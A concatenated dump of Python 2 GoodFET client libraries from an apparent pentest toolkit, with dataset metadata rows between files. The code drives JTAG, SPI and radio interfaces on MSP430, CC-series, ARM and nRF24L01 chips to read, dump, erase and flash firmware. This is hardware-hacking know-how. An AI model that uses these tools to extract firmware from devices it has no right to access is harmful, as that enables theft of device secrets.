"cpu_halted", 0x10 : "pm0", 0x08 : "halt_status", 0x04 : "locked", 0x02 : "oscstable", 0x01 : "overflow" }; CCconfigbits={0x20 : "soft_power_mode", #new for CC2530 0x08 : "timers_off", 0x04 : "dma_pause", 0x02 : "timer_suspend", 0x01 : "sel_flash_info_page" #stricken from CC2530 }; def status(self): """Check the status as a string.""" status=self.CCstatus(); str=""; i=1; while i<0x100: if(status&i): str="%s %s" %(self.CCstatusbits[i],str); i*=2; return str; def start(self): """Start debugging.""" self.setup(); self.writecmd(self.APP,0x20,0,self.data); ident=self.CCidentstr(); #print "Target identifies as %s." % ident; #print "Status: %s." % self.status(); self.CCreleasecpu(); self.CChaltcpu(); #Get SmartRF Studio regs if they exist. self.loadsymbols(); #print "Status: %s." % self.status(); def stop(self): """Stop debugging.""" self.writecmd(self.APP,0x21,0,self.data); def CCstep_instr(self): """Step one instruction.""" self.writecmd(self.APP,0x89,0,self.data); def CCeraseflashbuffer(self): """Erase the 2kB flash buffer""" self.writecmd(self.APP,0x99); def CCflashpage(self,adr): """Flash 2kB a page of flash from 0xF000 in XDATA""" data=[adr&0xFF, (adr>>8)&0xFF, (adr>>16)&0xFF, (adr>>24)&0xFF]; print "Flashing buffer to 0x%06x" % adr; self.writecmd(self.APP,0x95,4,data); def dump(self,file,start=0,stop=0xffff): """Dump an intel hex file from code memory.""" print "Dumping code from %04x to %04x as %s." % (start,stop,file); h = IntelHex(None); i=start; while i<=stop: h[i]=self.CCpeekcodebyte(i); if(i%0x100==0): print "Dumped %04x."%i; h.write_hex_file(file); #buffer to disk. i+=1; h.write_hex_file(file); def flash(self,file): """Flash an intel hex file to code memory.""" print "Flashing %s" % file; h = IntelHex(file); page = 0x0000; pagelen = self.CCpagesize(); #Varies by chip. #print "page=%04x, pagelen=%04x" % (page,pagelen); bcount = 0; #Wipe the RAM buffer for the next flash page. self.CCeraseflashbuffer(); for i in h._buf.keys(): while(i>=page+pagelen): if bcount>0: self.CCflashpage(page); #client.CCeraseflashbuffer(); bcount=0; print "Flashed page at %06x" % page page+=pagelen; #Place byte into buffer. self.CCpokedatabyte(0xF000+i-page, h[i]); bcount+=1; if(i%0x100==0): print "Buffering %04x toward %06x" % (i,page); #last page self.CCflashpage(page); print "Flashed final page at %06x" % page;
14,334
Python
.py
353
28.793201
90
0.539281
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,827
GoodFETMSP430.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETMSP430.py
#!/usr/bin/env python # GoodFET Client Library # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # Presently being rewritten. import sys, time, string, cStringIO, struct, glob, serial, os; from GoodFET import GoodFET; class GoodFETMSP430(GoodFET): APP=0x11; MSP430APP=0x11; #Changed by inheritors. CoreID=0; DeviceID=0; JTAGID=0; MSP430ident=0; def setup(self): """Move the FET into the MSP430 JTAG application.""" self.writecmd(self.MSP430APP,0x10,0,None); def MSP430stop(self): """Stop debugging.""" self.writecmd(self.MSP430APP,0x21,0,self.data); def MSP430coreid(self): """Get the Core ID.""" self.writecmd(self.MSP430APP,0xF0); CoreID=ord(self.data[0])+(ord(self.data[1])<<8); return CoreID; def MSP430deviceid(self): """Get the Device ID.""" self.writecmd(self.MSP430APP,0xF1); DeviceID=( ord(self.data[0])+(ord(self.data[1])<<8)+ (ord(self.data[2])<<16)+(ord(self.data[3])<<24)); return DeviceID; def peek16(self,adr,memory="vn"): return self.MSP430peek(adr); def peek8(self,address, memory="vn"): adr=self.MSP430peek(adr&~1); if adr&1==0: return adr&0xFF; else: return adr>>8; def MSP430peek(self,adr): """Read a word at an address.""" self.data=[adr&0xff, (adr&0xff00)>>8, (adr&0xff0000)>>16,(adr&0xff000000)>>24, ]; self.writecmd(self.MSP430APP,0x02,4,self.data); return ord(self.data[0])+(ord(self.data[1])<<8); def MSP430peekblock(self,adr): """Grab a few block from an SPI Flash ROM. Block size is unknown""" data=[adr&0xff, (adr&0xff00)>>8, (adr&0xff0000)>>16,(adr&0xff000000)>>24, 0x00,0x04]; self.writecmd(self.MSP430APP,0x02,6,data); return self.data; def MSP430poke(self,adr,val): """Write the contents of memory at an address.""" self.data=[adr&0xff, (adr&0xff00)>>8, (adr&0xff0000)>>16,(adr&0xff000000)>>24, val&0xff, (val&0xff00)>>8]; self.writecmd(self.MSP430APP,0x03,6,self.data); return ord(self.data[0])+(ord(self.data[1])<<8); def MSP430pokeflash(self,adr,val): """Write the contents of flash memory at an address.""" self.data=[adr&0xff, (adr&0xff00)>>8, (adr&0xff0000)>>16,(adr&0xff000000)>>24, val&0xff, (val&0xff00)>>8]; self.writecmd(self.MSP430APP,0xE1,6,self.data); return ord(self.data[0])+(ord(self.data[1])<<8); def MSP430pokeflashblock(self,adr,data): """Write many words to flash memory at an address.""" self.data=[adr&0xff, (adr&0xff00)>>8, (adr&0xff0000)>>16,(adr&0xff000000)>>24]+data; #print "Writing %i bytes to %x" % (len(data),adr); #print "%2x %2x %2x %2x ..." % (data[0], data[1], data[2], data[3]); self.writecmd(self.MSP430APP,0xE1,len(self.data),self.data); return ord(self.data[0])+(ord(self.data[1])<<8); def start(self): """Start debugging.""" self.writecmd(self.MSP430APP,0x20,0,self.data); self.JTAGID=ord(self.data[0]); #print "Identified as %02x." % self.JTAGID; if(not (self.JTAGID==0x89 or self.JTAGID==0x91)): print "Error, misidentified as %02x.\nCheck wiring, as this should be 0x89 or 0x91." % self.JTAGID; self.MSP430haltcpu(); def MSP430haltcpu(self): """Halt the CPU.""" self.writecmd(self.MSP430APP,0xA0,0,self.data); def MSP430releasecpu(self): """Resume the CPU.""" self.writecmd(self.MSP430APP,0xA1,0,self.data); def MSP430shiftir8(self,ins): """Shift the 8-bit Instruction Register.""" data=[ins]; self.writecmd(self.MSP430APP,0x80,1,data); return ord(self.data[0]); def MSP430shiftdr16(self,dat): """Shift the 16-bit Data Register.""" data=[dat&0xFF,(dat&0xFF00)>>8]; self.writecmd(self.MSP430APP,0x81,2,data); return ord(self.data[0])#+(ord(self.data[1])<<8); def MSP430setinstrfetch(self): """Set the instruction fetch mode.""" self.writecmd(self.MSP430APP,0xC1,0,self.data); return self.data[0]; def MSP430ident(self): """Grab self-identification word from 0x0FF0 as big endian.""" ident=0x00; if(self.JTAGID==0x89): i=self.MSP430peek(0x0ff0); ident=((i&0xFF00)>>8)+((i&0xFF)<<8) if(self.JTAGID==0x91): i=self.MSP430peek(0x1A04); ident=((i&0xFF00)>>8)+((i&0xFF)<<8) #ident=0x0091; return ident; def MSP430identstr(self): """Grab model string.""" return self.MSP430devices.get(self.MSP430ident()); MSP430devices={ #MSP430F2xx 0xf227: "MSP430F22xx", 0xf213: "MSP430F21x1", 0xf249: "MSP430F24x", 0xf26f: "MSP430F261x", 0xf237: "MSP430F23x0", 0xf201: "MSP430F201x", #MSP430F1xx 0xf16c: "MSP430F161x", 0xf149: "MSP430F13x", #or f14x(1) 0xf112: "MSP430F11x", #or f11x1 0xf143: "MSP430F14x", 0xf112: "MSP430F11x", #or F11x1A 0xf123: "MSP430F1xx", #or F123x 0x1132: "MSP430F1122", #or F1132 0x1232: "MSP430F1222", #or F1232 0xf169: "MSP430F16x", #MSP430F4xx 0xF449: "MSP430F43x", #or F44x 0xF427: "MSP430FE42x", #or FW42x, F415, F417 0xF439: "MSP430FG43x", 0xf46f: "MSP430FG46xx", #or F471xx } def MSP430test(self): """Test MSP430 JTAG. Requires that a chip be attached.""" if self.MSP430ident()==0xffff: print "ERROR Is anything connected?"; print "Testing %s." % self.MSP430identstr(); print "Testing RAM from 200 to 210."; for a in range(0x200,0x210): self.MSP430poke(a,0); if(self.MSP430peek(a)!=0): print "Fault at %06x" % a; self.MSP430poke(a,0xffff); if(self.MSP430peek(a)!=0xffff): print "Fault at %06x" % a; print "Testing identity consistency." ident=self.MSP430ident(); for a in range(1,20): ident2=self.MSP430ident(); if ident!=ident2: print "Identity %04x!=%04x" % (ident,ident2); print "Testing flash erase." self.MSP430masserase(); for a in range(0xffe0, 0xffff): if self.MSP430peek(a)!=0xffff: print "%04x unerased, equals %04x" % ( a, self.MSP430peek(a)); print "Testing flash write." for a in range(0xffe0, 0xffff): self.MSP430pokeflash(a,0xbeef); if self.MSP430peek(a)!=0xbeef: print "%04x unset, equals %04x" % ( a, self.MSP430peek(a)); print "Tests complete, erasing." self.MSP430masserase(); def MSP430masserase(self): """Erase MSP430 flash memory.""" self.writecmd(self.MSP430APP,0xE3,0,None); def MSP430setPC(self, pc): """Set the program counter.""" self.writecmd(self.MSP430APP,0xC2,2,[pc&0xFF,(pc>>8)&0xFF]); def MSP430run(self): """Reset the MSP430 to run on its own.""" self.writecmd(self.MSP430APP,0x21,0,None); def MSP430dumpbsl(self): self.MSP430dumpmem(0xC00,0xfff); def MSP430dumpallmem(self): self.MSP430dumpmem(0x200,0xffff); def MSP430dumpmem(self,begin,end): i=begin; while i<end: print "%04x %04x" % (i, self.MSP430peek(i)); i+=2;
7,859
Python
.py
192
31.078125
111
0.584893
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,828
GoodFETNRF.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETNRF.py
#!/usr/bin/env python # GoodFET Nordic RF Radio Client # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # This code is being rewritten and refactored. You've been warned! import sys, time, string, cStringIO, struct, glob, serial, os; from GoodFET import GoodFET; class GoodFETNRF(GoodFET): NRFAPP=0x50; def NRFsetup(self): """Move the FET into the NRF application.""" self.writecmd(self.NRFAPP,0x10,0,self.data); #NRF/SETUP def NRFtrans8(self,byte): """Read and write 8 bits by NRF.""" data=self.NRFtrans([byte]); return ord(data[0]); def NRFtrans(self,data): """Exchange data by NRF.""" self.data=data; self.writecmd(self.NRFAPP,0x00,len(data),data); return self.data; def peek(self,reg,bytes=-1): """Read an NRF Register. For long regs, result is flipped.""" data=[reg,0,0,0,0,0]; #Automatically calibrate the len. if bytes==-1: bytes=1; if reg==0x0a or reg==0x0b or reg==0x10: bytes=5; self.writecmd(self.NRFAPP,0x02,len(data),data); toret=0; for i in range(0,bytes): toret=toret|(ord(self.data[i+1])<<(8*i)); return toret; def poke(self,reg,val,bytes=-1): """Write an NRF Register.""" data=[reg]; #Automatically calibrate the len. if bytes==-1: bytes=1; if reg==0x0a or reg==0x0b or reg==0x10: bytes=5; for i in range(0,bytes): data=data+[(val>>(8*i))&0xFF]; self.writecmd(self.NRFAPP,0x03,len(data),data); if self.peek(reg,bytes)!=val and reg!=0x07: print "Warning, failed to set r%02x=%02x, got %02x." %(reg, val, self.peek(reg,bytes)); return; def status(self): """Read the status byte.""" status=self.peek(0x07); print "Status=%02x" % status; #Radio stuff begins here. def RF_setenc(self,code="GFSK"): """Set the encoding type.""" if code!=GFSK: return "%s not supported by the NRF24L01. Try GFSK." return; def RF_getenc(self): """Get the encoding type.""" return "GFSK"; def RF_getrate(self): rate=self.peek(0x06)&0x28; if rate==0x28: rate=250*10**3; #256kbps elif rate==0x08: rate=2*10**6; #2Mbps elif rate==0x00: rate=1*10**6; #1Mbps return rate; def RF_setrate(self,rate=2*10**6): r6=self.peek(0x06); #RF_SETUP register r6=r6&(~0x28); #Clear rate fields. if rate==2*10**6: r6=r6|0x08; elif rate==1*10**6: r6=r6; elif rate==250*10**3: r6=r6|0x20; print "Setting r6=%02x." % r6; self.poke(0x06,r6); #Write new setting. def RF_setfreq(self,frequency): """Set the frequency in Hz.""" #On the NRF24L01+, register 0x05 is the offset in #MHz above 2400. chan=frequency/1000000-2400; self.poke(0x05,chan); def RF_getfreq(self): """Get the frequency in Hz.""" #On the NRF24L01+, register 0x05 is the offset in #MHz above 2400. return (2400+self.peek(0x05))*10**6 self.poke(0x05,chan); def RF_getsmac(self): """Return the source MAC address.""" #Register 0A is RX_ADDR_P0, five bytes. mac=self.peek(0x0A, 5); return mac; def RF_setsmac(self,mac): """Set the source MAC address.""" #Register 0A is RX_ADDR_P0, five bytes. self.poke(0x0A, mac, 5); return mac; def RF_gettmac(self): """Return the target MAC address.""" #Register 0x10 is TX_ADDR, five bytes. mac=self.peek(0x10, 5); return mac; def RF_settmac(self,mac): """Set the target MAC address.""" #Register 0x10 is TX_ADDR, five bytes. self.poke(0x10, mac, 5); return mac; def RF_rxpacket(self): """Get a packet from the radio. Returns None if none is waiting.""" if self.peek(0x07) & 0x40: #Packet has arrived. self.writecmd(self.NRFAPP,0x80,0,None); #RX Packet data=self.data; self.poke(0x07,0x40);#clear bit. return data; elif self.peek(0x07)==0: self.writecmd(self.NRFAPP,0x82,0,None); #Flush self.poke(0x07,0x40);#clear bit. return None; def RF_carrier(self): """Hold a carrier wave on the present frequency.""" # Set CONT_WAVE, PLL_LOCK, and 0dBm in RF_SETUP self.poke(0x06,8+10+4+2); packetlen=16; def RF_setpacketlen(self,len=16): """Set the number of bytes in the expected payload.""" self.poke(0x11,len); self.packetlen=len; def RF_getpacketlen(self): """Set the number of bytes in the expected payload.""" len=self.peek(0x11); self.packetlen=len; return len; maclen=5; def RF_getmaclen(self): """Get the number of bytes in the MAC address.""" choices=[0, 3, 4, 5]; choice=self.peek(0x03)&3; self.maclen=choices[choice]; return self.maclen; def RF_setmaclen(self,len): """Set the number of bytes in the MAC address.""" choices=["illegal", "illegal", "illegal", 1, 2, 3]; choice=choices[len]; self.poke(0x03,choice); self.maclen=len;
5,752
Python
.py
154
27.071429
87
0.560389
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,829
GoodFETSPI.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETSPI.py
#!/usr/bin/env python # GoodFET SPI and SPIFlash Client Library # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # This code is being rewritten and refactored. You've been warned! import sys, time, string, cStringIO, struct, glob, serial, os; from GoodFET import GoodFET; class GoodFETSPI(GoodFET): def SPIsetup(self): """Move the FET into the SPI application.""" self.writecmd(0x01,0x10,0,self.data); #SPI/SETUP def SPItrans8(self,byte): """Read and write 8 bits by SPI.""" data=self.SPItrans([byte]); return ord(data[0]); def SPItrans(self,data): """Exchange data by SPI.""" self.data=data; self.writecmd(0x01,0x00,len(data),data); return self.data; class GoodFETSPIFlash(GoodFETSPI): JEDECmanufacturers={0xFF: "MISSING", 0xEF: "Winbond", 0xC2: "MXIC", 0x20: "Numonyx/ST", 0x1F: "Atmel", 0x01: "AMD/Spansion" }; JEDECdevices={0xFFFFFF: "MISSING", 0xEF3015: "W25X16L", 0xEF3014: "W25X80L", 0xEF3013: "W25X40L", 0xEF3012: "W25X20L", 0xEF3011: "W25X10L", 0xC22017: "MX25L6405D", 0xC22016: "MX25L3205D", 0xC22015: "MX25L1605D", 0xC22014: "MX25L8005", 0xC22013: "MX25L4005", 0x204011: "M45PE10" }; JEDECsizes={0x17: 0x800000, 0x16: 0x400000, 0x15: 0x200000, 0x14: 0x100000, 0x13: 0x080000, 0x12: 0x040000, 0x11: 0x020000 }; JEDECsize=0; def SPIjedec(self): """Grab an SPI Flash ROM's JEDEC bytes.""" data=[0x9f, 0, 0, 0]; data=self.SPItrans(data); self.JEDECmanufacturer=ord(data[1]); self.JEDECtype=ord(data[2]); self.JEDECcapacity=ord(data[3]); self.JEDECsize=self.JEDECsizes.get(self.JEDECcapacity); if self.JEDECsize==None: self.JEDECsize=0; self.JEDECdevice=(ord(data[1])<<16)+(ord(data[2])<<8)+ord(data[3]); return data; def SPIpeek(self,adr): """Grab a byte from an SPI Flash ROM.""" data=[0x03, (adr&0xFF0000)>>16, (adr&0xFF00)>>8, adr&0xFF, 0]; self.SPItrans(data); return ord(self.data[4]); def SPIpeekblock(self,adr): """Grab a few block from an SPI Flash ROM. Block size is unknown""" data=[(adr&0xFF0000)>>16, (adr&0xFF00)>>8, adr&0xFF]; self.writecmd(0x01,0x02,3,data); return self.data; def SPIpokebyte(self,adr,val): self.SPIpokebytes(adr,[val]); def SPIpokebytes(self,adr,data): #Used to be 24 bits, BE, not 32 bits, LE. adranddata=[adr&0xFF, (adr&0xFF00)>>8, (adr&0xFF0000)>>16, 0, #MSB ]+data; #print "%06x: poking %i bytes" % (adr,len(data)); self.writecmd(0x01,0x03, len(adranddata),adranddata); def SPIchiperase(self): """Mass erase an SPI Flash ROM.""" self.writecmd(0x01,0x81); def SPIwriteenable(self): """SPI Flash Write Enable""" data=[0x06]; self.SPItrans(data); def SPIjedecmanstr(self): """Grab the JEDEC manufacturer string. Call after SPIjedec().""" man=self.JEDECmanufacturers.get(self.JEDECmanufacturer) if man==0: man="UNKNOWN"; return man; def SPIjedecstr(self): """Grab the JEDEC manufacturer string. Call after SPIjedec().""" man=self.JEDECmanufacturers.get(self.JEDECmanufacturer); if man==0: man="UNKNOWN"; device=self.JEDECdevices.get(self.JEDECdevice); if device==0: device="???" return "%s %s" % (man,device);
4,193
Python
.py
113
25.274336
76
0.535598
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,830
gplay-arm.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/gplay-arm.py
#!/usr/bin/env ipython import sys, struct, binascii from GoodFETARM import * from intelhex import IntelHex data = [] client=GoodFETARM(); def init(): #Initailize FET and set baud rate client.serInit() # #Connect to target client.setup() client.start() print "STARTUP: "+repr(client.data) # def test1(): global data print "\n\nTesting JTAG for ARM\n" client.writecmd(0x33,0xd0,4,[0x40,0x40,0x40,0x40]); print "loopback: \t %s"%repr(client.data) # loopback data.append(client.data) client.writecmd(0x33,0xd1,2,[1,0]); print "scanchain1:\t %s"%repr(client.data) # set scan chain data.append(client.data) client.writecmd(0x33,0xd2,0,[]); print "debug state:\t %s"%repr(client.data) # get dbg state data.append(client.data) client.writecmd(0x33,0xd3,0,[0,0,0xa0,0xe1]); print "exec_nop: \t %s"%repr(client.data) # execute instruction data.append(client.data) client.writecmd(0x33,0xd3,0,[0,0,0x8e,0xe5]); print "exec_stuff: \t %s"%repr(client.data) # execute instruction data.append(client.data) client.writecmd(0x33,0xd3,0,[0,0,0xa0,0xe1]); print "exec_nop: \t %s"%repr(client.data) # execute instruction data.append(client.data) client.writecmd(0x33,0xd3,0,[0,0,0xa0,0xe1]); print "exec_nop: \t %s"%repr(client.data) # execute instruction data.append(client.data) client.writecmd(0x33,0xd3,0,[0,0,0xa0,0xe1]); print "exec_nop: \t %s"%repr(client.data) # execute instruction data.append(client.data) client.writecmd(0x33,0xd6,0,[]); print "shift_dr_32: \t %s"%repr(client.data) # dr_shift32 data.append(client.data) client.writecmd(0x33,0xd5,8,[3, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40]); print "set_register:\t %s"%repr(client.data) # set register data.append(client.data) client.writecmd(0x33,0xd4,1,[3]); print "get_register:\t %s"%repr(client.data) # get register data.append(client.data) client.writecmd(0x33,0xd7,0,[]); print "chain1: \t %s"%repr(client.data) # chain1 data.append(client.data) client.writecmd(0x33,0xd8,0,[]); print "read_chain2: \t %s"%repr(client.data) # read chain2 data.append(client.data) client.writecmd(0x33,0xd9,0,[]); print "idcode: \t %s"%repr(client.data) # read idcode data.append(client.data) client.writecmd(0x33,0xf0,2,[4,4,1,1]); print "f0: \t %s"%repr(client.data) # read idcode data.append(client.data) client.writecmd(0x33,0xdb,8,[0x0,4,4,4,4,4,4,4]); print "verb(0): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0x2,4,4,4,4,4,4,4]); print "verb(2): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0x3,4,4,4,4,4,4,4]); print "verb(3): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0x4,4,4,4,4,4,4,4]); print "verb(4): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0x5,4,4,4,4,4,4,4]); print "verb(5): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0x7,4,4,4,4,4,4,4]); print "verb(7): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0x9,4,4,4,4,4,4,4]); print "verb(9): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0xc,4,4,4,4,4,4,4]); print "verb(c): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0xe,0,0,0,0,0,0xa0,0xe1]); print "verb(e): \t %s"%repr(client.data) data.append(client.data) client.writecmd(0x33,0xdb,8,[0xf,4,4,4,4,4,4,4]); print "verb(f): \t %s"%repr(client.data) data.append(client.data) def test2(): global data print "\n\nTesting JTAG for ARM\n" print "IDCODE: %x"%client.ARMident() print "Debug State: %x"%client.ARMget_dbgstate () print "Debug State: %x"%client.ARMget_dbgstate () print "Debug State: %x"%client.ARMget_dbgstate () print "Debug CTRL: %x"%client.ARMget_dbgctrl() client.writecmd(0x33,0xda,0,[]) print "TEST CHAIN0: %s"%repr(client.data) print "Debug State: %x"%client.ARMget_dbgstate () print "IDCODE: %x"%client.ARMident() print "Debug State: %x"%client.ARMget_dbgstate () client.writecmd(0x33,0xd0,4,[0xf7,0xf7,0xf7,0xf7]) print "Loopback: \t %s"%repr(client.data) # loopback print "Debug State: %x"%client.ARMget_dbgstate () print "IDCODE: %x"%client.ARMident() print "GetPC: %x"%client.ARMgetPC() print "IDCODE: %x"%client.ARMident() print "Debug State: %x"%client.ARMget_dbgstate () print "IDCODE: %x"%client.ARMident() print "set_register(3,0x41414141): %x"%client.ARMset_register(3,0x41414141) print "IDCODE: %x"%client.ARMident() print "Debug State: %x"%client.ARMget_dbgstate () print "IDCODE: %x"%client.ARMident() print "get_register(3): %x"%client.ARMget_register(3) print "IDCODE: %x"%client.ARMident() print "Debug State: %x"%client.ARMget_dbgstate () print "IDCODE: %x"%client.ARMident() def test3(): print "IDCODE: %x"%client.ARMident() print "Debug State: %x"%client.ARMget_dbgstate () client.writecmd(0x33,0xd0,4,[0xf7,0xf7,0xf7,0xf7]) print "Loopback: \t %s"%repr(client.data) # loopback client.writecmd(0x33,0xd5,8,[0,0,0,0,0xf7,0xf7,0xf7,0xf7]) print "test_set_reg: \t %s"%repr(client.data) client.writecmd(0x33,0xd4,1,[0]) print "test_get_reg: \t %s"%repr(client.data) print "set_register(3,0x41414141): %x"%client.ARMset_register(3,0x41414141) print "get_register(3): %x"%client.ARMget_register(3) client.writecmd(0x33,0xd4,1,[0]) print "test_get_reg: \t %s"%repr(client.data) init() print "Don't forget to 'client.stop()' if you want to exit cleanly" """ case 0xD0: // loopback test cmddatalong[0] = 0x12345678; case 0xD1: // Set Scan Chain cmddatalong[0] = jtagarm7tdmi_scan_n(cmddataword[0]); case 0xD2: // cmddatalong[0] = jtagarm7tdmi_get_dbgstate(); case 0xD3: cmddatalong[0] = jtagarm7tdmi_exec(cmddatalong[0]); case 0xD4: cmddatalong[0] = jtagarm7tdmi_get_register(cmddata[0]); case 0xD5: cmddatalong[0] = jtagarm7tdmi_set_register(cmddata[0], cmddatalong[1]); case 0xD6: cmddatalong[0] = jtagarm7tdmi_dr_shift32(cmddatalong[0]); case 0xD7: cmddatalong[0] = jtagarm7tdmi_chain1(cmddatalong[0], 0); case 0xD8: cmddatalong[0] = jtagarm7tdmi_chain2_read(cmddata[0], 32); """ """ if(sys.argv[1]=="test"): client.CCtest(); if(sys.argv[1]=="deadtest"): for i in range(1,10): print "IDENT as %s" % client.CCidentstr(); if(sys.argv[1]=="dumpcode"): f = sys.argv[2]; start=0x0000; stop=0xFFFF; if(len(sys.argv)>3): start=int(sys.argv[3],16); if(len(sys.argv)>4): stop=int(sys.argv[4],16); print "Dumping code from %04x to %04x as %s." % (start,stop,f); h = IntelHex(None); i=start; while i<=stop: h[i]=client.CCpeekcodebyte(i); if(i%0x100==0): print "Dumped %04x."%i; i+=1; h.write_hex_file(f); if(sys.argv[1]=="dumpdata"): f = sys.argv[2]; start=0xE000; stop=0xFFFF; if(len(sys.argv)>3): start=int(sys.argv[3],16); if(len(sys.argv)>4): stop=int(sys.argv[4],16); print "Dumping data from %04x to %04x as %s." % (start,stop,f); h = IntelHex(None); i=start; while i<=stop: h[i]=client.CCpeekdatabyte(i); if(i%0x100==0): print "Dumped %04x."%i; i+=1; h.write_hex_file(f); if(sys.argv[1]=="status"): print "Status: %s" %client.CCstatusstr(); if(sys.argv[1]=="erase"): print "Status: %s" % client.CCstatusstr(); client.CCchiperase(); print "Status: %s" %client.CCstatusstr(); if(sys.argv[1]=="peekinfo"): print "Select info flash." client.CCwr_config(1); print "Config is %02x" % client.CCrd_config(); start=0x0000; if(len(sys.argv)>2): start=int(sys.argv[2],16); stop=start; if(len(sys.argv)>3): stop=int(sys.argv[3],16); print "Peeking from %04x to %04x." % (start,stop); while start<=stop: print "%04x: %02x" % (start,client.CCpeekcodebyte(start)); start=start+1; if(sys.argv[1]=="poke"): client.CCpokeirambyte(int(sys.argv[2],16), int(sys.argv[3],16)); if(sys.argv[1]=="randtest"): #Seed RNG client.CCpokeirambyte(0xBD,0x01); #RNDH=0x01 client.CCpokeirambyte(0xB4,0x04); #ADCCON1=0x04 client.CCpokeirambyte(0xBD,0x01); #RNDH=0x01 client.CCpokeirambyte(0xB4,0x04); #ADCCON1=0x04 #Dump values for foo in range(1,10): print "%02x" % client.CCpeekirambyte(0xBD); #RNDH client.CCpokeirambyte(0xB4,0x04); #ADCCON1=0x04 client.CCreleasecpu(); client.CChaltcpu(); print "%02x" % client.CCpeekdatabyte(0xDF61); #CHIP ID if(sys.argv[1]=="adctest"): # ADCTest 0xDF3A 0xDF3B print "ADC TEST %02x%02x" % ( client.CCpeekdatabyte(0xDF3A), client.CCpeekdatabyte(0xDF3B)); if(sys.argv[1]=="config"): print "Config is %02x" % client.CCrd_config(); if(sys.argv[1]=="flash"): f=sys.argv[2]; start=0; stop=0xFFFF; if(len(sys.argv)>3): start=int(sys.argv[3],16); if(len(sys.argv)>4): stop=int(sys.argv[4],16); h = IntelHex(f); page = 0x0000; pagelen = 2048; #2kB pages in 32-bit words bcount = 0; print "Wiping Flash." #Wipe all of flash. #client.CCchiperase(); #Wipe the RAM buffer for the next flash page. #client.CCeraseflashbuffer(); for i in h._buf.keys(): while(i>page+pagelen): if bcount>0: client.CCflashpage(page); #client.CCeraseflashbuffer(); bcount=0; print "Flashed page at %06x" % page page+=pagelen; #Place byte into buffer. client.CCpokedatabyte(0xF000+i-page, h[i]); bcount+=1; if(i%0x100==0): print "Buffering %04x toward %06x" % (i,page); #last page client.CCflashpage(page); print "Flashed final page at %06x" % page; if(sys.argv[1]=="lock"): print "Status: %s" %client.CCstatusstr(); client.CClockchip(); print "Status: %s" %client.CCstatusstr(); if(sys.argv[1]=="flashpage"): target=0; if(len(sys.argv)>2): target=int(sys.argv[2],16); print "Writing a page of flash from 0xF000 in XDATA" client.CCflashpage(target); if(sys.argv[1]=="erasebuffer"): print "Erasing flash buffer."; client.CCeraseflashbuffer(); if(sys.argv[1]=="writedata"): f=sys.argv[2]; start=0; stop=0xFFFF; if(len(sys.argv)>3): start=int(sys.argv[3],16); if(len(sys.argv)>4): stop=int(sys.argv[4],16); h = IntelHex(f); for i in h._buf.keys(): if(i>=start and i<=stop): client.CCpokedatabyte(i,h[i]); if(i%0x100==0): print "%04x" % i; #if(sys.argv[1]=="flashtest"): # client.CCflashtest(); if(sys.argv[1]=="peekdata"): start=0x0000; if(len(sys.argv)>2): start=int(sys.argv[2],16); stop=start; if(len(sys.argv)>3): stop=int(sys.argv[3],16); print "Peeking from %04x to %04x." % (start,stop); while start<=stop: print "%04x: %02x" % (start,client.CCpeekdatabyte(start)); start=start+1; if(sys.argv[1]=="peek"): start=0x0000; if(len(sys.argv)>2): start=int(sys.argv[2],16); stop=start; if(len(sys.argv)>3): stop=int(sys.argv[3],16); print "Peeking from %04x to %04x." % (start,stop); while start<=stop: print "%04x: %02x" % (start,client.CCpeekirambyte(start)); start=start+1; if(sys.argv[1]=="peekcode"): start=0x0000; if(len(sys.argv)>2): start=int(sys.argv[2],16); stop=start; if(len(sys.argv)>3): stop=int(sys.argv[3],16); print "Peeking from %04x to %04x." % (start,stop); while start<=stop: print "%04x: %02x" % (start,client.CCpeekcodebyte(start)); start=start+1; if(sys.argv[1]=="pokedata"): start=0x0000; val=0x00; if(len(sys.argv)>2): start=int(sys.argv[2],16); if(len(sys.argv)>3): val=int(sys.argv[3],16); print "Poking %04x to become %02x." % (start,val); client.CCpokedatabyte(start,val); client.stop(); """
12,809
Python
.py
322
33.785714
156
0.61236
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,831
intelhex.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/intelhex.py
# Copyright (c) 2005-2009, Alexander Belchenko # All rights reserved. # # Redistribution and use in source and binary forms, # with or without modification, are permitted provided # that the following conditions are met: # # * Redistributions of source code must retain # the above copyright notice, this list of conditions # and the following disclaimer. # * Redistributions in binary form must reproduce # the above copyright notice, this list of conditions # and the following disclaimer in the documentation # and/or other materials provided with the distribution. # * Neither the name of the author nor the names # of its contributors may be used to endorse # or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, # BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY # AND FITNESS FOR A PARTICULAR PURPOSE ARE 